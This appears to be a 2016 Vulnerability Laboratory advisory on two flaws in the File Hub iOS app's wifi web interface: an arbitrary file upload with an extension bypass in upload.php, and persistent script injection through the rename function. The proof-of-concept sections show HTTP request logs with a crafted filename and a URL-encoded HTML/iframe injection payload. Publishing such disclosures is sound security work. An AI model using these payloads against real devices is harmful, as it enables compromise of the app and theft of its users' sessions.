File Hub v3.3 iOS (Wifi) - Multiple Web Vulnerabilities

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
File Hub v3.3 iOS (Wifi) - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1695


Release Date:
=============
2016-02-01


Vulnerability Laboratory ID (VL-ID):
====================================
1695


Common Vulnerability Scoring System:
====================================
7.2


Product & Service Introduction:
===============================
File Hub helps you accessing files on your iOS Device, Cloud Service and Remote Computer. It is powerful and intuitive, 
View, Play many file formats, 
easily transfer files between computer or iOS devices and manage files via browser on computer.

(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/file-hub-powerful-intuitive/id520299954 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple vulnerabilities in the official File Hub mobile iOS 
wifi web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-01:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Gu Jing (iMore Apps)
Product: File Hub - Mobile Web Application 3.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
An arbitrary file upload web vulnerability has been discovered in the official File Hub mobile iOS wifi web-application.
The arbitrary file upload web vulnerability allows remote attackers to unauthorized include local file/path requests or 
system specific path 
commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `File Upload` module. Remote attackers are able to 
inject own files with malicious `filename` 
values in the `upload.php` file POST method request to compromise the mobile web-application. The local file/path 
include execution occcurs in the index file dir 
listing and sub folders of the wifi interface. The attacker is able to inject the lfi payload by usage of the wifi 
interface or the local file sync function.
The attacker can also attach multiple file extensions to bypass the web-server file validation to execute a malicious 
web-shell finally. Remote attackers can 
exchange the filename with a double or tripple extension via POST method to bypass the upload validation and filter 
process. After the upload the attacker access 
the file with one extension and exchange it with the other one to execute for example own php codes.

Attackers are also able to exploit the filename issue in combination with persistent injected script code to execute 
different malicious attack requests. 
The attack vector is located on the application-side of the wifi service and the request method to inject is POST. 

The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability 
scoring system) count of 7.2. 
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application 
user account. 
Successful exploitation of the arbitrary file upload vulnerability results in mobile application compromise or 
connected device component compromise.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] File Upload

Vulnerable File(s):
                                [+] upload.php

Vulnerable Parameter(s):
                                [+] filename

Affected Module(s):
                                [+] File Dir Index Listing


1.2
A persistent input validation web vulnerability has been discovered in the official File Hub mobile iOS wifi 
web-application.
The vulnerability allows remote attacker to inject malicious persistent script codes to the application-side of the 
mobile application.

The vulnerability is located in the name value of the filename or rename function. Remote attackers are able to edit 
files by renaming them.
Thus function can be used to inject own malicious script codes to the application-side of the index file dir listing 
interface application. 
The request method to inject is POST and the attack vector of the issue is located on the application-side of the wifi 
interface mobile app.
The injection point is the rename name input field and the execution point is the file dir index that displays finally 
the uploaded or edited 
web context. 

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability 
scoring system) count of 3.5.
Exploitation of the application-side web vulnerability requires no privilege web-application user account and only low 
or medium user interaction.
Successful exploitation of the vulnerabilities results in persistent phishing, session hijacking, persistent external 
redirect to malicious 
sources and application-side manipulation of affected or connected module context.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] File Rename

Vulnerable File(s):
                                [+] rename.php

Vulnerable Parameter(s):
                                [+] name

Affected Module(s):
                                [+] File Dir Index Listing


Proof of Concept (PoC):
=======================
1.1
The arbitrary file upload web vulnerability can be exploited by remote attackers without privileged web-application 
user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.

PoC: URL
http://localhost:8080/x[ARBITRARY FILE UPLOAD VULNERABILITY!]


PoC: Source
<tr style="" data-record-key="/"><"<img src="x">%20%20>"<./[ARBITRARY UPLOADED FILE - EXECUTION!]>" 
class="jtable-data-row">
<td class="jtable-selecting-column"><input type="checkbox"></td><td><img src="/webroot/images/fileicons/folder.png" 
height="32px" width="32px"></td>
<td><a style="cursor: pointer;" href=".">"><"<./[ARBITRARY UPLOADED FILE - 
EXECUTION!]></a></iframe></a></td><td>N/A</td><td>25.01.16, 21:35</td><td></td>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/upload.php Load Flags[LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[16] Mime 
Type[application/x-unknown-content-type]
Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      X-Requested-With[XMLHttpRequest]
      Cache-Control[no-cache]
      Referer[http://localhost:8080/]
      Content-Length[1172]
      Content-Type[multipart/form-data; boundary=---------------------------21961273099611]
      Cookie[jtable%2376270709page-size=100]
      Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------21961273099611
Content-Disposition: form-data; name="uploader"
fineuploader
-----------------------------21961273099611
Content-Disposition: form-data; name="dirpath"
/
-----------------------------21961273099611
Content-Disposition: form-data; name="qquuid"
3c9f405a-3686-473a-bc5d-68558901ac7e
-----------------------------21961273099611
Content-Disposition: form-data; name="qqtotalfilesize"
538
-----------------------------21961273099611
Content-Disposition: form-data; name="qqfile"; filename="./[ARBITRARY FILE UPLOAD VULNERABILITY!]2.png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/x[ARBITRARY FILE UPLOAD VULNERABILITY!] Load Flags[LOAD_NORMAL] Größe des Inhalts[0] Mime 
Type[application/x-unknown-content-type]
Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8080/]
      Cookie[jtable%2376270709page-size=100]
      Connection[keep-alive]
Response Header:
      Accept-Ranges[bytes]
      Content-Length[0]
      Date[Fri, 29 Jan 2016 13:23:38 GMT]

Reference(s):
http://localhost:8080/upload.php




1.2
The persistent input validation web vulnerability can be exploited by remote attackers without privileged 
web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.

PoC: URL
http://localhost:8080/x[ARBITRARY FILE UPLOAD VULNERABILITY!]


PoC: Source
<td class="jtable-command-column"><button class="jtable-command-button jtable-edit-command-button" title="Rename 
file"><span>Rename file
</span></button></td><td class="jtable-command-column"><button class="jtable-command-button 
jtable-delete-command-button" title="Delete"><span>Delete</span></button></td></tr>
... or via delete after the adding procedure is done ...
<span class="jtable-delete-confirm-message">Are you sure to delete file ""><"<[PERSISTENT INEJCTED SCRIPT CODE!]></span>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/rename.php Load Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des 
Inhalts[232] Mime Type[application/x-unknown-content-type]
Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[application/json, text/javascript, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/]
      Content-Length[113]
      Cookie[jtable%2376270709page-size=100]
      Connection[keep-alive]
POST-Daten:
      FileId[%2FZuhce]
      Name[%22%3E%3C%22%3Cimg%20src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe%20src%3Da%3E%2520%3Ciframe%3E]
Response Header:
      Accept-Ranges[bytes]
      Content-Length[232]
      Date[Fri, 29 Jan 2016 13:23:37 GMT]
-
Status: 200[OK]
GET http://localhost:8080/x[ARBITRARY FILE UPLOAD VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[0] 
Mime Type[application/x-unknown-content-type]
Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:8080/]
      Cookie[jtable%2376270709page-size=100]
      Connection[keep-alive]
Response Header:
      Accept-Ranges[bytes]
      Content-Length[0]
      Date[Fri, 29 Jan 2016 13:23:39 GMT]

Reference(s):
http://localhost:8080/rename.php


Security Risk:
==============
1.1
The security risk of the arbitrary file upload web vulnerability in the wifi interface application is estimated as 
high. (CVSS 7.4)

1.2
The security risk of the persistent web vulnerability in the wifi interface application rename function is estimated as 
medium. (CVSS 3.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research () vulnerability-lab com) 
[www.vulnerability-lab.com]


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=========================
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